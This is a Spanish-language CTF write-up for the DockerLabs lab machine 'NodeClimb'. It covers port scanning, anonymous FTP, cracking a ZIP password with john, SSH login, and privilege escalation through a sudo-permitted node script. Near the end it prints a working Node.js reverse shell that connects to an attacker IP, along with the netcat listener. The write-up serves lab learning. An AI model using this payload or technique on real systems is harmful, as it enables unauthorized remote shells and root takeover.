🕵️‍♂️
Alv-fh
  • Whoami
    • Curriculum
  • WriteUps
    • DockerLabs
      • Amor
      • NodeClimb
      • HiddenCat
      • Escolares
      • FirstHacking
      • Hidden
      • Move
      • SecretJenkins
      • Trust
      • Upload
      • Vacaciones
    • Vulnyx
      • Basic
      • Fire
      • Infected
      • Load
      • Plex
    • Vulnhub
      • Fristileaks
      • Symfonos1
Con tecnología de GitBook
En esta página
  • Conectividad con la máquina objetivo
  • Descubrimiento de Puertos y Servicios
  • Fase de Explotación
  1. WriteUps
  2. DockerLabs

NodeClimb

AnteriorAmorSiguienteHiddenCat

Última actualización hace 10 meses

1

Conectividad con la máquina objetivo

Vemos que al desplegar la máquina nos da una IP, así que hacemos un ping y comprobamos la conectividad.

Hacemos ping y vemos que tenemos conectividad

Descubrimiento de Puertos y Servicios

Lanzo un escaneo con nmap y compruebo lo siguiente:

nmap -p- -sS -sC -sV -O 172.17.0.2 -oN puertos.txt

Puertos y Servicios

Puerto
Servicio
Versión

21

FTP

Vsftpd 3.0.3

22

SSH

OpenSSH 9.2p1

Fase de Explotación

Vemos que podemos entrar como anonymous en FTP y que hay un archivo ZIP. Nos los traemos a nuestra máquina con el comando get.

Lo abrimos y a simple vista veo que hay un .txt con la clave para entrar por SSH.

Si lo intentamos extraer nos pide una clave, pero no la sabemos.

Podemos convertir el fichero a un hash para luego con john hacer fuerza bruta para sacar la clave del .zip.

zip2jhon secretitopicaron.zip > secretitohash

Ahora con jhon intentamos sacar la clave.

john --format=PKZIP -w /usr/share/wordlist/rockyou.txt secretitohash

Y vemos que la clave es password1

Lo intentamos extraer y vemos que si nos deja, abrimos el password.txt y sale esto.

Por lo que entramos por SSH y vemos que podemos ejecutar como cualquier usuario el binario node pero solo el script que hay en /home/mario.

Si abrimos el script, vemos que está vacido. Podemos meter una reverse shell y ejecutarla como root para conseguir privilegios.

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("sh", []);
    var client = new net.Socket();
    client.connect(443, "192.168.1.246", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

En la máquina atacante, en nuestro kali, ejecutamos primero:

nc -nlvp 443

Y luego ejecutamos el script

Si se queda colgado y en nuestra máquina conseguimos la bash lo hemos hecho bien.

Ahora ejecutamos whoami y vemos que somos root.

Ya somos root!!

3
4
2
5
6
7
8
9
10
11